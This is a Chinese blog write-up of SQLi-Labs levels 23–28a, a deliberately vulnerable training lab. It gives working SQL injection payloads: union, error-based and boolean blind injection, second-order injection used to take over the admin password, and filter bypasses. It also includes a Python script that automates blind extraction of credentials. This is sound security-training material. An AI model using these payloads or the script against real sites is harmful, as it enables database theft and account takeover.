《SQLi-Labs》04. Less 23~28a

【愚公系列】2023年05月 Web渗透测试之SQL注入(sqli-labs、Less-1) SQL注入是一种常见的攻击方式,它利用应用程序未对用户输入的数据进行正确的过滤和验证,以达到访问或篡改系统数据的目的。具体来说,攻击者可以在注入点上构造恶意的SQL语句,并成功提交给数据库执行,从而造成数据泄露、篡改或者破坏。SQL注入攻击的应用场景非常广泛,常见于Web应用、数据库应用或其他需要使用SQL语句进行数据操作的应用中。order by -- + 判断字段数目union select -- + 联合查询收集信息。 阅读详情

title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp:Security-Lab
excerpt: 联合注入,注释符过滤绕过之构造闭合,%00 截断、二次注入、报错注入,空格过滤绕过,双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-23:联合注入,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-24:二次注入。字符型【'】。
  • Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a:与 Less-25 差别不大。数字型。
  • Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-26a:与 Less-26 类似,布尔盲注。字符型【')】。
  • Less-27:与 Less-26 类似,报错注入。字符型【'】。
  • Less-27a:与 Less-27 类似,联合注入。字符型【"】。
  • Less-28:与前面几题都类似,联合注入。字符型【')】。
  • Less-28a:与 Less-28 不能说完全相同,只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合:

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位:

url + ?id=1' union select 1,2'
url + ?id=1' union select 1,2,3'
url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库:

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法(使用 %00 截断):

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表:

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段:

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据:

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name:Dumb,Password:Dumb 登录。

在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户,注册 admin,提示用户已存在。

那就注册一个用户 admin'#,密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码,这里修改为 hello6。

在这里插入图片描述

修改后再次查看数据库,可以看到 admin'# 用户密码没变,但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了,权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息,用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是:

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示,先测试一下:

爆库:

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 || 与 &&

爆库:

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。

爆库:

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库:

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法,可以用以下字符代替:

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型:

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位。

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少,所以直接上报错注入。

爆表:

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段:

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息:

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入,详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。

爆表:

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段:

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息:

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本:

import requests

url = "http://192.168.8.222/lab/sqli/Less-26a/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Less-27

题解

Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表:

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段:

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息:

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似,但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息:

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题,只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表:

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段:

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据:

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select,其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。


谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。

——《格言联璧》(清)金缨

量子-经典混合架构与动态QUBO建模 量子-经典混合架构与动态QUBO建模的结合,是当前量子计算与经典计算融合领域的前沿方向。通过将量子计算的并行性与经典计算的灵活性结合,该技术为解决复杂动态优化问题(如实时调度、金融投资组合优化、电力系统控制等)提供了全新的方法论。:将发电机组调度分解为QUBO(启停决策)与非QUBO(功率分配)子问题,通过3块ADMM协调;c_i(t) $随外部环境(如电力需求、市场价格)动态调整。量子-经典混合架构与动态QUBO建模的结合,标志着优化计算从。:每分钟根据市场波动调整QUBO的收益率-风险系数; 阅读详情

相关推荐

记录思科cisco交换机升级iso步骤

Cisco Nexus 93180交换机版本升级

a635161812的博客 4377

SQLi-Labs less1-32

id=1’ and extractvalue(1,concat(0x7e,(select group_cocnat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’))) --+--+ #limit0,1=取第一个表…id=-1’ union select 1,2,group_concat(username,‘:’,password) from users–+

2401_83289529的博客 712

系统设计---算法与架构

这片文章对系统设计的具体步骤及相关知识进行介绍,主要分为四部分:算法设计、IC系统架构设计、基于systemC的IC系统设计、系统设计工具SPW简介。 (一)算法设计 系统设计的第一步是给出清晰的系统规范,该规范写明了系统的功能、性能、费用、开发时间等。接下来创建一个系统行为模型,并且可以用来初步验证设计的性能。再下来,对行为模型进行细化,即进行算法设计。算法设计大致分为三步: 1)给出浮点

正在努力的ICer的博客 4373

SQLI LABS | Less-23 GET-Error Based-Strip Comments

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-23 GET-Error Based-Strip Comments 成功过关。用户的登录名与登录密码。作为参数进行查询,那我们就按它的意思传入。可以看到,服务器返回了对应。要我们输入一个数字型的。

Blue17 の 小窝 726

别再手动测接口了!用Pytest+Requests+Allure搭建你的第一个自动化框架(附完整源码)

本文详细介绍了如何使用Pytest+Requests+Allure搭建Python接口自动化测试框架,涵盖环境准备、核心组件封装、测试用例设计、报告生成及CI/CD集成等关键步骤。通过实战案例和完整源码,帮助开发者快速构建高效的接口自动化测试解决方案,提升测试效率和质量。

weixin_42546508的博客 321

数据库和BI工程师面试题

 一.数据库 1.Oracle数据库,视图与表的区别?普通视图与物化视图的区别?物化视图的作用? 2.Oracle数据库,有哪几类索引,分别有什么特点? 3.Union与Union All的区别? 4.对游标的理解?游标的分类?使用方法? 5.如何查找和删除表中的重复数据?给出方法或SQL。 6.不借助第三方工具,怎么查看SQL的执行计划? 7.创建索引有哪些需要注意的要点?

web_go_run的专栏 1万+

《SQLi-Labs》01. Less 1~4

联合注入,字符型与数字型。

学习学习学习...... 555

uniapp - 实现 App 端 “半屏幕“ 连续扫码功能,页面只有半个屏幕是扫码框并且可持续连续扫码获取数据(不使用官方 uni.scanCode API,因为无法连续扫码!)详细示例源码插件教程

uniapp app端实现半屏幕扫码,uniapp 扫一扫半个屏幕,uniapp 扫一扫,uniapp持续扫码实现,uniapp怎么自定义扫码和连续扫码,uni-app App端半屏连续扫码,uniapp 扫一扫半个屏幕,uniapp自定义扫码页面样式,实现连续扫码功能(uniapp),uniapp - 实现 App 端 "半屏幕" 连续扫码功能,页面只有半个屏幕是扫码框并且可持续连续扫码获取数据(不使用官方 uni.scanCode API,因为无法连续扫码!)详细示例源码插件教程。

✅ 精选推荐文章 1万+

sqli-labs通关笔记-第04关 GET字符型注入(双引号括号闭合 手工注入+脚本注入两种方法)

SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手工注入和脚本注入共两种方法对第04关Less 04基于字符型(双引号括号闭合)的SQL注入关卡进行渗透实战。  

mooyuan的网络安全博客 1191

基于知识图谱的档案智慧问答系统:构建智能化档案管理与知识服务新范式

基于知识图谱的档案智慧问答系统是档案管理领域的一次重要创新,它通过将档案数据转化为结构化的知识图谱,并结合自然语言处理和智能问答技术,实现了档案信息的智能化管理与服务。该系统不仅能够提升档案管理的效率,还能为用户提供更全面、更便捷的知识服务,具有广泛的应用前景和深远的社会意义。未来,随着技术的不断进步和应用场景的不断扩展,基于知识图谱的档案智慧问答系统将在更多领域发挥其价值,为档案管理领域的智能化转型提供强有力的支持。

qq_62634009的博客 1578

GIS数据处理-使用PostGIS+QGIS

GIS数据处理1-使用PostGIS+QGIS 介绍 这里我遇到了一个需求,需要将SQLite的.db数据库中GIS数据导出成shapefile文件 数据库的表结构如下所示,这里存储的是wkt格式的矢量数据 WKT与WKB格式介绍 OpenGIS 规范定义了两种表示空间对象的标准方式:Well-Know Text (WKT) 形式和Well-Known Binary(WKB) 形式。WKT 和 WKB 都包含矢量几何要素的对象类型和构成对象的坐标的信息。WKT可读性强,更方便阅读识别,而在实际数据传输和存

孙霸天的专栏 2528

Sqli-labs 通关中...

目前 Less-49

weixin_46099552的博客 961

基于YOLOv8的铁路轨道异物检测系统设计与实现

目标检测是计算机视觉领域的核心任务之一,旨在识别图像中特定目标的位置和类别。传统方法主要依赖手工特征(如HOG、SIFT等)和分类器(如SVM),而深度学习方法通过卷积神经网络自动学习特征表示,显著提升了检测性能。YOLO(You Only Look Once)系列算法作为单阶段目标检测的代表,以其高效的检测速度著称。YOLOv8是Ultralytics公司于2023年发布的最新版本,在精度和速度上都有进一步提升。

YOLO 574

sqli-labs靶场通关攻略(21-30关)

可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。解码查看。

shw_yzh的博客 1144

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

sqli-labs靶场通过攻略(21~40)

第二十七关

2301_81525518的博客 1401

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

sqli-labs攻关记录

文章目录注入逻辑less-1less-2 注入逻辑 闭合语句 测试字段数找回显点,如果找不到看能不能报错,直接走报错注入的流程 如果可以找到回显点,则正常爆数据库名、表名、字段名、值 less-1 就是一个普通的字符型注入,没什么特别的。 经测试过滤了#,但用%23可以绕过。–没有被过滤。 ?id=1' order by if(1=1,(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)),1)%23 这条语句可以爆破出数据库,证明报错注入可以用,

Shanfenglan's blog 723

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

渗透攻击sql注入SQLI-LABS

这里使用and 1=2是为了让union之前的语句为假,从而不回显在前端页面,而union结果集中的列名总是等于union中第一个select语句中的列名,这样就可以通过前端页面的回显知道前端页面显示的数据表的第几列。id=1’ order by 3–+,当尝试到4时,发现页面报错了,说明该表依据第4列进行排序时,发生了错误,表明该表只有3列。id=1’ and 1=1 --+和?id=1’ and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

m0_69656902的博客 1173

Sqli-labs 博客目录

本文记录 SQL 注入的学习过程,资料为 SQLi

kevinhanser 1986

SQL注入实战:从sqli-labs第一关入门到原理剖析

本文通过sqli-labs第一关实战演示SQL注入的基本原理与攻击流程,从注入点探测到数据库信息获取,详细解析了字符型SQL注入的完整攻击链。文章不仅提供具体操作示例,还分享了防御SQL注入的最佳实践,帮助读者深入理解Web安全漏洞的本质与防护方法。

weixin_26833503的博客 149

Sqli-Labs-Study

利用information_schema的tables的(table_name, table_schema), columns, schemata的schema_name。# 利用substr截取第一个字符再使用ascii转成ascii码与>, <, =等符号后的值进行比较逐位取得表名,可用二分法加速。# cookie使用base64加密处理了,利用burp抓包base64加密注入代码传入即可,并改变了闭合方式。即,admin'#,再已此账户登录修改密码,由于闭合了后续字段并注释掉多余的分号,

s0Sick_的博客 595

SQL注入sqli-labs学习(less-1)

解压后打开目录点击第二个更新这个方可打开(如果更新失败\php\phpstudy_pro\WWW\sqli-labs-master\sql-connections修改这里面的db-creds.inc文件将默认数据库密码改正一至)我们用union进行查询(首先我们想要显示union后的语句我们要先把前边的语句返回为空所以应该为?我们看到其users表我们怀疑它里面包含用户的数据,所以我们可以先对数据表users进行查询。如果我们想把两个显示位都用起来我们可以上边显示所有数据库下边显示指定数据库所有的表。

2302_80814694的博客 657

sqli-labs练习 (1-5)以及一些容易犯的错误

首先是环境的搭建,网上的教程非常的齐全,就不多做介绍了 附上Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs 注意事项:**一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个% 为了方便自己查看,可以在源码中加入一行echo语句 关于information_schema系统表:http://wenku.bai...

qq_43208282的博客 653

sqllibs-Less02-04

文章目录一、显错注入2.Less022.1、报错测试2.2、寻找其他信息2.3、代码分析3.Less033.1、报错测试3.2、代码分析4.Less044.1、报错测试4.2、代码分析 一、显错注入 2.Less02 2.1、报错测试 尝试着输入以下信息: http://192.168.31.61:8081/sqli-labs-master/Less-2/?id=1’ 【单引号,报错】 http://192.168.31.61:8081/sqli-labs-master/Less-2/?id=1’ %23

Xor0ne 244

sqli-labs-master第五关Less-5 Double Query- Single:方式一

由于第三四关和第一第二关大致相同,我就不写了。接下来来写第五关的第一种方式。1,目标网站:http://127.0.0.1/sqli-labs-master/Less-5/?id=1 当传递的ID为1的时候提示“you are in”2,查找注入点:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'返回错误当输入上面的url的...

weixin_34273479的博客 196

SQL注入-SQLi-LABS靶场1-65完整payload

【代码】SQL注入-SQLi-LABS靶场1-65完整payload。

问彡心的博客 1624

Sqlilabs靶场报错注入:less1~6

首先做SQL注入,需要知道注入参数是什么,不是所有的参数都是id,也能是file等等。判断注入点,注入点很重要,如果找不到注入的地方,测试什么参数都是在浪费时间。发现与上面用id=1的结果相同,应该是没有逃脱出单引号的控制,应该去闭合单引号,而单引号需要成对出现。与less-5相同,也可以先查询username,在查询password。在这里我输入了id=1,显示出这个结果,说明并没有对用户的输入做过滤。id=0',会显示错误,表示存在注入点,且使用'闭合。下一步,获得数据库名,表名,列名,数据。

ningwangh的博客 624
上一篇: 《大·杂·烩》:Linux(Kali)终端快捷键
下一篇: 《网络协议》01. 基本概念
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值